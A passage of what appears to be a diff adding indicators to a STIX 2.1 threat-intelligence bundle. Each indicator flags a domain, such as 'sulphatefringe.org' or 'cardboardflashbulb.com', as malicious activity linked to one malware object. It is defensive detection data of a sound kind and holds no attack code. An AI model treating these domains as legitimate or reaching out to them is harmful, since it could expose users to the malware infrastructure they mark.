"indicator--cefe377e-8c6a-4378-b474-360a916285d8", + "created": "2023-03-29T12:58:44.165888Z", + "modified": "2023-03-29T12:58:44.165888Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='naturenews24.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.165888Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3bb1442-286b-4f90-bde1-9b5d3a116087", + "created": "2023-03-29T12:58:44.166483Z", + "modified": "2023-03-29T12:58:44.166483Z", + "relationship_type": "indicates", + "source_ref": "indicator--cefe377e-8c6a-4378-b474-360a916285d8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bd84c961-70d1-4a70-bb1b-24bb91ed3209", + "created": "2023-03-29T12:58:44.16665Z", + "modified": "2023-03-29T12:58:44.16665Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sulphatefringe.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.16665Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cbea7aa-1438-4656-8f05-a7335fe364f2", + "created": "2023-03-29T12:58:44.167253Z", + "modified": "2023-03-29T12:58:44.167253Z", + "relationship_type": "indicates", + "source_ref": "indicator--bd84c961-70d1-4a70-bb1b-24bb91ed3209", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71ac7b39-aa51-4c4d-a319-ecab0c29828a", + "created": "2023-03-29T12:58:44.167422Z", + "modified": "2023-03-29T12:58:44.167422Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cardboardflashbulb.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.167422Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b3b13462-6bc9-4096-a48f-3bd85081bcda", + "created": "2023-03-29T12:58:44.168027Z", + "modified": "2023-03-29T12:58:44.168027Z", + "relationship_type": "indicates", + "source_ref": "indicator--71ac7b39-aa51-4c4d-a319-ecab0c29828a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7beaf3f-be76-447f-9f1f-d2dbc752b489", + "created": "2023-03-29T12:58:44.168195Z", + "modified": "2023-03-29T12:58:44.168195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newtonriparazioni.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.168195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aa0079fa-9ef2-4038-a9f4-c2cb5e44f28d", + "created": "2023-03-29T12:58:44.168911Z", + "modified": "2023-03-29T12:58:44.168911Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7beaf3f-be76-447f-9f1f-d2dbc752b489", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9dc6701a-0f15-41a3-bfda-1ac88e99fc1e", + "created": "2023-03-29T12:58:44.169084Z", + "modified": "2023-03-29T12:58:44.169084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ventriclesample.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.169084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af8749c1-3682-4a09-9380-2e1d3a7255c4", + "created": "2023-03-29T12:58:44.169694Z", + "modified": "2023-03-29T12:58:44.169694Z", + "relationship_type": "indicates", + "source_ref": "indicator--9dc6701a-0f15-41a3-bfda-1ac88e99fc1e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e39d4569-3cd4-4b2e-9dac-d11e073c142b", + "created": "2023-03-29T12:58:44.169863Z", + "modified": "2023-03-29T12:58:44.169863Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jenasvetro.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.169863Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0303a506-a754-4401-9c06-10793c6483c2", + "created": "2023-03-29T12:58:44.170462Z", + "modified": "2023-03-29T12:58:44.170462Z", + "relationship_type": "indicates", + "source_ref": "indicator--e39d4569-3cd4-4b2e-9dac-d11e073c142b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a080f235-506f-4865-a176-a81c7692e749", + "created": "2023-03-29T12:58:44.170631Z", + "modified": "2023-03-29T12:58:44.170631Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scribbleguidable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.170631Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1f1217ec-fe89-4824-a1c2-018cc2b21e45", + "created": "2023-03-29T12:58:44.171246Z", + "modified": "2023-03-29T12:58:44.171246Z", + "relationship_type": "indicates", + "source_ref": "indicator--a080f235-506f-4865-a176-a81c7692e749", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eae9be5c-ff5d-49be-a077-d1d328bc2950", + "created": "2023-03-29T12:58:44.171417Z", + "modified": "2023-03-29T12:58:44.171417Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foundingidealist.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.171417Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c8b3ac8c-131d-4b7d-866c-bf41a6093fd5", + "created": "2023-03-29T12:58:44.172021Z", + "modified": "2023-03-29T12:58:44.172021Z", + "relationship_type": "indicates", + "source_ref": "indicator--eae9be5c-ff5d-49be-a077-d1d328bc2950", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac8eb110-ef35-473c-a07b-b6c19b0e65df", + "created": "2023-03-29T12:58:44.172188Z", + "modified": "2023-03-29T12:58:44.172188Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yearlingtwenty.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.172188Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--554dc164-81c7-4327-bfb4-42c5be2453cb", + "created": "2023-03-29T12:58:44.172787Z", + "modified": "2023-03-29T12:58:44.172787Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac8eb110-ef35-473c-a07b-b6c19b0e65df", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75c5a0b5-731b-4d3f-836c-a7a7ab8d7166", + "created": "2023-03-29T12:58:44.172954Z", + "modified": "2023-03-29T12:58:44.172954Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='riderschoice.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.172954Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8ddef041-fd65-48d2-917b-957c9a796b01", + "created": "2023-03-29T12:58:44.173559Z", + "modified": "2023-03-29T12:58:44.173559Z", + "relationship_type": "indicates", + "source_ref": "indicator--75c5a0b5-731b-4d3f-836c-a7a7ab8d7166", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc2e5b48-baca-439f-8046-36c66140dba8", + "created": "2023-03-29T12:58:44.17373Z", + "modified": "2023-03-29T12:58:44.17373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saunaslush.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.17373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d37f91ec-5327-43ae-bac5-1428af2c7138", + "created": "2023-03-29T12:58:44.174328Z", + "modified": "2023-03-29T12:58:44.174328Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc2e5b48-baca-439f-8046-36c66140dba8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7750896a-18d6-40a0-a0fc-f9dc3022874a", + "created": "2023-03-29T12:58:44.174528Z", + "modified": "2023-03-29T12:58:44.174528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dolcicarlo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.174528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3bb627d-89d4-4183-8d41-c763137bd3fe", + "created": "2023-03-29T12:58:44.175137Z", + "modified": "2023-03-29T12:58:44.175137Z", + "relationship_type": "indicates", + "source_ref": "indicator--7750896a-18d6-40a0-a0fc-f9dc3022874a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6c3b18c2-e908-4fbb-b39c-04e5f336a528", + "created": "2023-03-29T12:58:44.175341Z", + "modified": "2023-03-29T12:58:44.175341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='brutishlyworsening.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.175341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--61626382-ffb1-4931-b687-0b57795905d6", + "created": "2023-03-29T12:58:44.176096Z", + "modified": "2023-03-29T12:58:44.176096Z", + "relationship_type": "indicates", + "source_ref": "indicator--6c3b18c2-e908-4fbb-b39c-04e5f336a528", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7674bf2-6b74-491f-b32a-1aa177105c93", + "created": "2023-03-29T12:58:44.176269Z", + "modified": "2023-03-29T12:58:44.176269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='timbersound.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.176269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--04d515ba-0787-42e1-954e-6ddd335f6ea7", + "created": "2023-03-29T12:58:44.17691Z", + "modified": "2023-03-29T12:58:44.17691Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7674bf2-6b74-491f-b32a-1aa177105c93", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e8b4494a-577c-4b76-bf8c-1af9832f692b", + "created": "2023-03-29T12:58:44.177084Z", + "modified": "2023-03-29T12:58:44.177084Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vacationfavored.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.177084Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--95396116-e5cd-499b-92ac-0247e2987a18", + "created": "2023-03-29T12:58:44.177695Z", + "modified": "2023-03-29T12:58:44.177695Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8b4494a-577c-4b76-bf8c-1af9832f692b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7caf954-a263-41b5-b828-fbb0bd998478", + "created": "2023-03-29T12:58:44.177864Z", + "modified": "2023-03-29T12:58:44.177864Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dumblehumble.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.177864Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7ba59bd-0fd5-4ce5-b274-18d8e9dd3bb9", + "created": "2023-03-29T12:58:44.17846Z", + "modified": "2023-03-29T12:58:44.17846Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7caf954-a263-41b5-b828-fbb0bd998478", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--07ba8967-fa16-4c8c-99c7-2574650af22a", + "created": "2023-03-29T12:58:44.178629Z", + "modified": "2023-03-29T12:58:44.178629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='menuiniziale.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.178629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--413a2ec9-9934-4dbd-82b1-a5a0215dd725", + "created": "2023-03-29T12:58:44.179229Z", + "modified": "2023-03-29T12:58:44.179229Z", + "relationship_type": "indicates", + "source_ref": "indicator--07ba8967-fa16-4c8c-99c7-2574650af22a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b5b08230-dee0-403f-b723-67b45551b73b", + "created": "2023-03-29T12:58:44.179397Z", + "modified": "2023-03-29T12:58:44.179397Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='undraftedglorify.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.179397Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af01bc22-581c-4b4c-817f-59d96024d1ba", + "created": "2023-03-29T12:58:44.180Z", + "modified": "2023-03-29T12:58:44.180Z", + "relationship_type": "indicates", + "source_ref": "indicator--b5b08230-dee0-403f-b723-67b45551b73b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccb4d185-7d7c-40e5-96bc-9775780eb7e9", + "created": "2023-03-29T12:58:44.180168Z", + "modified": "2023-03-29T12:58:44.180168Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='omitanagram.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.180168Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e771d900-0ca6-4c05-aac6-35ca53212f2e", + "created": "2023-03-29T12:58:44.180767Z", + "modified": "2023-03-29T12:58:44.180767Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccb4d185-7d7c-40e5-96bc-9775780eb7e9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4eeea1e1-e2c8-4ace-87d5-98df5ce4264b", + "created": "2023-03-29T12:58:44.180938Z", + "modified": "2023-03-29T12:58:44.180938Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='patienceshrapnel.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.180938Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--09b59960-edd7-4eb6-8bc4-389b6bd84a5e", + "created": "2023-03-29T12:58:44.181545Z", + "modified": "2023-03-29T12:58:44.181545Z", + "relationship_type": "indicates", + "source_ref": "indicator--4eeea1e1-e2c8-4ace-87d5-98df5ce4264b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7b05510-6b89-4c56-9cbd-b2131d9e8bfb", + "created": "2023-03-29T12:58:44.181716Z", + "modified": "2023-03-29T12:58:44.181716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='marxismboots.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.181716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c12174e7-29a3-4be6-b783-7eb8b0325878", + "created": "2023-03-29T12:58:44.182313Z", + "modified": "2023-03-29T12:58:44.182313Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7b05510-6b89-4c56-9cbd-b2131d9e8bfb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b8e2ae9-6c1f-4af8-91d7-fe2c8ea918f8", + "created": "2023-03-29T12:58:44.182482Z", + "modified": "2023-03-29T12:58:44.182482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dolphinwhisking.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.182482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58966be0-9cc8-4a74-99fa-87d9b1e9ed41", + "created": "2023-03-29T12:58:44.183461Z", + "modified": "2023-03-29T12:58:44.183461Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b8e2ae9-6c1f-4af8-91d7-fe2c8ea918f8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e325663-a51d-4862-aad2-049a4ddbd84b", + "created": "2023-03-29T12:58:44.183636Z", + "modified": "2023-03-29T12:58:44.183636Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cymbalopossum.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.183636Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--36b0f7f2-34a2-448f-90d2-1e9fc364471f", + "created": "2023-03-29T12:58:44.184239Z", + "modified": "2023-03-29T12:58:44.184239Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e325663-a51d-4862-aad2-049a4ddbd84b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30aa47ab-18f8-43a7-afa1-a8f9affcb3c7", + "created": "2023-03-29T12:58:44.184408Z", + "modified": "2023-03-29T12:58:44.184408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='attendeeblog.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.184408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60ef050e-5b31-46d3-a2b8-b33fea3fe8e5", + "created": "2023-03-29T12:58:44.185004Z", + "modified": "2023-03-29T12:58:44.185004Z", + "relationship_type": "indicates", + "source_ref": "indicator--30aa47ab-18f8-43a7-afa1-a8f9affcb3c7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4803c278-06e2-49ab-8d04-6b46e7cb9a08", + "created": "2023-03-29T12:58:44.185173Z", + "modified": "2023-03-29T12:58:44.185173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pagingeggshell.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.185173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--24c33610-6afd-4380-902a-a2e62558ab3d", + "created": "2023-03-29T12:58:44.185863Z", + "modified": "2023-03-29T12:58:44.185863Z", + "relationship_type": "indicates", + "source_ref": "indicator--4803c278-06e2-49ab-8d04-6b46e7cb9a08", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--906708e1-187c-4501-a87a-e6f4e8422eac", + "created": "2023-03-29T12:58:44.186036Z", + "modified": "2023-03-29T12:58:44.186036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='humblingaffluent.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.186036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba7b52cd-1faa-40b9-b348-a1326832531e", + "created": "2023-03-29T12:58:44.186644Z", + "modified": "2023-03-29T12:58:44.186644Z", + "relationship_type": "indicates", + "source_ref": "indicator--906708e1-187c-4501-a87a-e6f4e8422eac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4492985f-b49c-4652-bd3d-9dc8e22e7b78", + "created": "2023-03-29T12:58:44.186815Z", + "modified": "2023-03-29T12:58:44.186815Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finishingsash.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.186815Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84d63498-0214-4b89-9dfd-a5d2dccbfe66", + "created": "2023-03-29T12:58:44.187414Z", + "modified": "2023-03-29T12:58:44.187414Z", + "relationship_type": "indicates", + "source_ref": "indicator--4492985f-b49c-4652-bd3d-9dc8e22e7b78", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--af3660a4-d65f-4479-b78d-f2e5e60ef437", + "created": "2023-03-29T12:58:44.187584Z", + "modified": "2023-03-29T12:58:44.187584Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viaggiarenelmondo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.187584Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ac93648-8177-49da-bba1-ec51198cfd78", + "created": "2023-03-29T12:58:44.188188Z", + "modified": "2023-03-29T12:58:44.188188Z", + "relationship_type": "indicates", + "source_ref": "indicator--af3660a4-d65f-4479-b78d-f2e5e60ef437", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1a53ac32-5f4a-4673-9527-077fa803a3e8", + "created": "2023-03-29T12:58:44.188355Z", + "modified": "2023-03-29T12:58:44.188355Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='claimsupreme.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.188355Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27cf1a13-7593-4781-a2e8-bea30095c9a5", + "created": "2023-03-29T12:58:44.188954Z", + "modified": "2023-03-29T12:58:44.188954Z", + "relationship_type": "indicates", + "source_ref": "indicator--1a53ac32-5f4a-4673-9527-077fa803a3e8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3e28705-9fac-4762-9fbd-c9b6a43c32e7", + "created": "2023-03-29T12:58:44.189124Z", + "modified": "2023-03-29T12:58:44.189124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='news-occhisulmondo.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.189124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f46872e-cf25-4afa-af12-638cca24bf1e", + "created": "2023-03-29T12:58:44.189737Z", + "modified": "2023-03-29T12:58:44.189737Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3e28705-9fac-4762-9fbd-c9b6a43c32e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f7fe561c-884b-4f93-bc06-24939b466056", + "created": "2023-03-29T12:58:44.189907Z", + "modified": "2023-03-29T12:58:44.189907Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sandpitsandbank.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.189907Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--39bbc19b-525f-4788-bcf7-800304877a0b", + "created": "2023-03-29T12:58:44.190508Z", + "modified": "2023-03-29T12:58:44.190508Z", + "relationship_type": "indicates", + "source_ref": "indicator--f7fe561c-884b-4f93-bc06-24939b466056", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21deec0a-df21-43d3-b5db-a99349a3a535", + "created": "2023-03-29T12:58:44.190676Z", + "modified": "2023-03-29T12:58:44.190676Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unbridleeating.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.190676Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b188f407-8422-44ae-86bb-cf3e5e2050d6", + "created": "2023-03-29T12:58:44.191395Z", + "modified": "2023-03-29T12:58:44.191395Z", + "relationship_type": "indicates", + "source_ref": "indicator--21deec0a-df21-43d3-b5db-a99349a3a535", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6ed2a5b-9fbe-45c7-861e-16c0e67aed63", + "created": "2023-03-29T12:58:44.19157Z", + "modified": "2023-03-29T12:58:44.19157Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='naturecando.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.19157Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--16d0b0e1-4f69-480d-b99f-77ac40b888e4", + "created": "2023-03-29T12:58:44.192169Z", + "modified": "2023-03-29T12:58:44.192169Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6ed2a5b-9fbe-45c7-861e-16c0e67aed63", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a71a652-3d77-4f5c-94db-b65007b9087c", + "created": "2023-03-29T12:58:44.192339Z", + "modified": "2023-03-29T12:58:44.192339Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrangleprimate.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.192339Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6b5a97b6-b255-44d1-aad3-808fdba07e85", + "created": "2023-03-29T12:58:44.192934Z", + "modified": "2023-03-29T12:58:44.192934Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a71a652-3d77-4f5c-94db-b65007b9087c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--240d4eeb-1286-494f-a641-000fbfe88ac8", + "created": "2023-03-29T12:58:44.193102Z", + "modified": "2023-03-29T12:58:44.193102Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pungentmagnetic.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.193102Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb44ccca-449c-455d-b579-980208177f5e", + "created": "2023-03-29T12:58:44.193705Z", + "modified": "2023-03-29T12:58:44.193705Z", + "relationship_type": "indicates", + "source_ref": "indicator--240d4eeb-1286-494f-a641-000fbfe88ac8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cbcd8043-24cc-4837-a0da-56c0b50a03d3", + "created": "2023-03-29T12:58:44.193874Z", + "modified": "2023-03-29T12:58:44.193874Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='passablycontest.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.193874Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7331d2b8-c9d2-4f28-8d87-74d0f302894d", + "created": "2023-03-29T12:58:44.194472Z", + "modified": "2023-03-29T12:58:44.194472Z", + "relationship_type": "indicates", + "source_ref": "indicator--cbcd8043-24cc-4837-a0da-56c0b50a03d3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ee801ff6-c1d8-4a7a-aadc-42bb0537d55c", + "created": "2023-03-29T12:58:44.194641Z", + "modified": "2023-03-29T12:58:44.194641Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='truckmarsh.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.194641Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c545b1d9-224d-48de-9562-03d5126b626a", + "created": "2023-03-29T12:58:44.195238Z", + "modified": "2023-03-29T12:58:44.195238Z", + "relationship_type": "indicates", + "source_ref": "indicator--ee801ff6-c1d8-4a7a-aadc-42bb0537d55c", + 